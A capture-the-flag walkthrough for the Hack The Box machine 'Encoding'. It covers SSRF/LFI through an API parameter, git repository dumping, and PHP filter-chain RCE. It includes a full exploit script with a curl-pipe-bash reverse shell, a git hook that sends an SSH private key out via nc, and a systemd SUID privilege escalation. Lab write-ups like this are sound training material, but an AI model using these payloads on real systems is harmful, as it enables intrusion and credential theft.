IP-ADDR: 10.10.11.198 haxtables.htb
nmap scan: TCP/IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: HaxTables
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- web server is running a data manipulation tool like "cyberchef".
- 2 features are available "string", "integer" in "Convertions" and 1 "image" is showing "coming soon".
- Using web UI "string Convertions" or "integer Convertions" tool send post request to
/handler.php
.
- And there is an API running on vHost -
api.haxtables.htb
- Fuff found another vHost -
❯ ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.haxtables.htb" -u "http://10.10.11.198" -ac -ic -t 100
... [snip] ...
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 423ms]
* FUZZ: api
[Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 413ms]
* FUZZ: image
image.haxtables.htb
in returning "403 Forbidden".api.haxtables.htb
using version 3 API that means there are also version 1 and 2.
// v1
❯ curl -X POST \
--data-binary '{"action":"urldecode","data":"test"}' \
'http://api.haxtables.htb/v1/tools/string/index.php'
{"data":"test"}
// v2
❯ curl -X POST \
-d $'{"action":"urldecode","data":"test"}' \
'http://api.haxtables.htb/v2/tools/string/index.php'
{"message":"This resource is under construction and unavailable for public access due to security issues.!"}
// v3
❯ curl -X POST \
--data-binary '{"action":"urldecode","data":"test"}' \
'http://api.haxtables.htb/v3/tools/string/index.php'
{"data":"test"}
But we can access to API v2 from web UI POST request
❯ curl -X POST \
-d '{"action":"urldecode","data":"test","uri_path":"/v2/tools/string"}' \
'http://10.10.11.198/handler.php'
{"data":"test"}
In API docs, There is a parameter in v3 API file_url
which is vulnerable for SSRF
Also vulnerable for LFI file read using file://
protocol
Quick script for api LFI bug.
import requests as r
from sys import argv
import json
host = "http://api.haxtables.htb"
uri = "/v3/tools/string/index.php"
data = {"action":"urldecode","file_url":f"file://{argv[1]}"}
resp = r.post(f"{host}{uri}", json=data)
print(json.loads(resp.text)['data'])
Known file structure of web app -
/var/www/
|
|--> html/
|--> api/
From apache2 site config /etc/apache2/sites-available/000-default.conf
file, got more detail about image vHost.
... [snip] ...
<VirtualHost *:80>
ServerName image.haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/image
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
#SecRuleEngine On
<LocationMatch />
SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:'200001'
SecAction "phase:5,deprecatevar:ip.somepathcounter=1/1,pass,nolog,id:'200002'"
SecRule IP:SOMEPATHCOUNTER "@gt 5" "phase:2,pause:300,deny,status:509,setenv:RATELIMITED,skip:1,nolog,id:'200003'"
SecAction "phase:2,pass,setvar:ip.somepathcounter=+1,nolog,id:'200004'"
Header always set Retry-After "10" env=RATELIMITED
</LocationMatch>
ErrorDocument 429 "Rate Limit Exceeded"
<Directory /var/www/image>
Deny from all
Allow from 127.0.0.1
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</DIrectory>
</VirtualHost>
Got the image vHost root directory location - /var/www/image
❯ python fileRead.py "/var/www/image/index.php"
<?php
include_once 'utils.php';
include 'includes/coming_soon.html';
?>
Checking utils.php
file, indicates that there is .git
directory in image/
.
❯ python fileRead.py "/var/www/image/.git/config"
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
There are few tool, but none can help as the git directory is not directly accessible from URL.
We can modify GitTools "gitdumper.sh" script to extract ".git" directory using POST request.
Replace curl command in gitdumper.sh script (line 114) with following command and run script normally
curl -s -X POST \
-d "{\"action\":\"b64encode\",\"file_url\":\"$url\"}" \
'http://api.haxtables.htb/v3/tools/string/index.php' | jq -r .data | base64 -d > "$target"
# Dump .git
bash gitdumper.sh file:///var/www/image/.git/ /tmp
# Extract all commits
bash extractor.sh /tmp /tmp
In the git repository, there is a file actions/action_handler.php
which is inserting user input from GET param page
directly into include()
function.
<?php
include_once 'utils.php';
if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page);
} else {
echo jsonify(['message' => 'No page specified!']);
}
?>
but we can not access image.haxtables.htb
directly.
We got the SSRF in same param file_url
, in the first hand this SSRF is wried because if we use http://127.0.0.1
it return "Unacceptable URL" message and if we only use 127.0.0.1
it works.
And the problem lies in this code /var/www/api/utils.php
, where it is handling user input.
... [snip] ....
function get_url_content($url){
$domain = parse_url($url, PHP_URL_HOST);
if (gethostbyname($domain) === "127.0.0.1") {
jsonify(["message" => "Unacceptable URL"]);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$url_content = curl_exec($ch);
curl_close($ch);
return $url_content;
}
... [snip] ....
It is using parse_url()
with PHP_URL_HOST
which only return hostname of given URL and if URL does not contain any protocol schema it does not bother parsing it.
❯ php -r 'var_dump(parse_url("http://example.com", PHP_URL_HOST));'
string(11) "example.com"
❯ php -r 'var_dump(parse_url("example.com", PHP_URL_HOST));'
NULL
and that how we can bypass domain check and access local host and also vHost.
Now we can access /actions/action_handler.php?page=
and here we can use "PHP filter chain" (https://github.com/synacktiv/php_filter_chain_generator) to get RCE because page
param value directly inserted into include()
function in actions/action_handler.php
.
python3 php_filter_chain_generator.py --chain '<?= `curl http://10.10.14.59:8000/rev.sh|bash` ;?>'
Exploit script
#!/usr/bin/env python3
"""
Author: poorduck
Usage: python3 script.py
"""
import requests as r
import os
import netifaces as ni
import threading
import http.server
import socketserver
# Get hackthebox vpn ip from tun0 interface
try:
tun0_ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']
except ValueError as e:
print("[!] tun0 not found!")
exit(e)
# function for creating php filter chain using synacktiv "php_filter_chain_generator.py" script from github
def gen_php_chain(ip):
command = f'curl -s https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/main/php_filter_chain_generator.py | python - --chain \'<?= `curl http://{ip}:8000/rev.sh|bash` ;?>\''
output_file = os.popen(command)
output = output_file.read()
output_file.close()
php_chain = output.split('\n')[1]
return php_chain
# function for hosting reverse shell
def start_http_server(port, ip):
with open('rev.sh', 'w') as f:
f.write(f'/bin/bash -i >& /dev/tcp/{ip}/4141 0>&1')
try:
Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", port), Handler)
# print("Serving at port", port)
httpd.serve_forever()
except OSError as e:
print(e)
try:
# Start http server on child thread
port = 8000
http_thread = threading.Thread(target=start_http_server, args=(port,tun0_ip))
http_thread.daemon = True
http_thread.start()
# Generate php chain
rce_chain = gen_php_chain(tun0_ip)
url = "http://api.haxtables.htb/v3/tools/string/index.php"
ssrf_uri = f"image.haxtables.htb/actions/action_handler.php?page={rce_chain}"
data = {"action":"urldecode","file_url":f"{ssrf_uri}"}
resp = r.post(url, json=data)
print(resp.text)
if os.path.isfile("rev.sh"): os.remove("rev.sh")
except KeyboardInterrupt as e:
if os.path.isfile("rev.sh"): os.remove("rev.sh")
print(e)
except Exception as e:
if os.path.isfile("rev.sh"): os.remove("rev.sh")
print(e)
Got shell as "www-data" user and that user can run /var/www/image/scripts/git-commit.sh
script as user "svc" with sudo
www-data@encoding:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on encoding:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on encoding:
(svc) NOPASSWD: /var/www/image/scripts/git-commit.sh
This script is performs two operations depending on whether there are any uncommitted changes in the Git repository located at /var/www/image/.git
#!/bin/bash
u=$(/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image ls-files -o --exclude-standard)
if [[ $u ]]; then
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image add -A
else
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify
fi
This bash script checks if there are any uncommitted changes in the /var/www/image
directory.
- It first uses the
git ls-files
command to get a list of untracked files in the/var/www/image
directory, excluding any files that are specified in.gitignore
. The output of this command is stored in the variable$u
. - Next, it Checks if the variable
$u
has a value. If it does, it means there are untracked files in the working directory, and the script performs agit add -A
command to stage all the changes in the repository for the next commit. - If the variable
$u
is empty, it means there are no untracked files in the working directory, and the script performs agit commit
command to create a new commit. The--no-verify
option skips any pre-commit hooks that may be configured for the repository.
And /var/www/image/.git
has Access Control List (ACL) extended attributes.
www-data@encoding:~/image$ getfacl .git
getfacl .git
# file: .git
# owner: svc
# group: svc
user::rwx
user:www-data:rwx
group::r-x
mask::rwx
other::r-x
- We have write access in the
.git
directory. - There is a trick in gitfobins to run system command using git hooks. but we can not use "pre-commit" hooks.
- But we can also use "post-commit" hooks to execute command.
cd /var/www/image
echo 'cat /home/svc/.ssh/id_rsa|nc 10.10.14.29 4141' >"/var/www/image/.git/hooks/post-commit"
chmod +x /var/www/image/.git/hooks/post-commit
sudo -u svc /var/www/image/scripts/git-commit.sh
But it is not working because there is no changes in the /var/www/image
directory.
We need to make some changes in the repo to trigger commit but we can not add any file from outside the git working directory which set in the config file.
- the
directory
option in the[safe]
section of the Git configuration file is used to prevent adding files from outside the repository directory.
www-data@encoding:~/image$ cat ../.gitconfig
cat ../.gitconfig
[safe]
directory = /var/www/image
But can write into .git
directory, and use --work-tree
flag and specify outside directory.
- The
--work-tree
option is meant to allow running Git commands from a different directory than the repository's working directory.
This command adds the file /etc/hostname
to the Git index for the current Git repository we are in.
git --work-tree /etc/ add /etc/hostname
cd /var/www/image
echo 'cat /home/svc/.ssh/id_rsa|nc 10.10.14.29 4141' >"/var/www/image/.git/hooks/post-commit"
chmod +x /var/www/image/.git/hooks/post-commit
git --work-tree /etc/ add /etc/hostname
sudo -u svc /var/www/image/scripts/git-commit.sh
Obtained shell as user "svc" and user can run /usr/bin/systemctl
"restart" on any service.
svc@encoding:~$ sudo -l
Matching Defaults entries for svc on encoding:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on encoding:
(root) NOPASSWD: /usr/bin/systemctl restart *
- In Linux, service files are typically located in the
/etc/systemd/system/
directory or in subdirectories of this directory.
and user "svc" has extended ACL permission of write and execute on /etc/systemd/system/
directory.
svc@encoding:~$ getfacl /etc/systemd/system/
getfacl: Removing leading '/' from absolute path names
# file: etc/systemd/system/
# owner: root
# group: root
user::rwx
user:svc:-wx
group::rwx
mask::rwx
other::r-x
So we can create a .service
file and run it with /usr/bin/systemctl
using sudo -> https://gtfobins.github.io/gtfobins/systemctl/
[Unit]
Description=My System Service
After=network.target
[Service]
Type=simple
ExecStart=chmod +s /bin/bash
[Install]
WantedBy=multi-user.target
sudo /usr/bin/systemctl restart privesc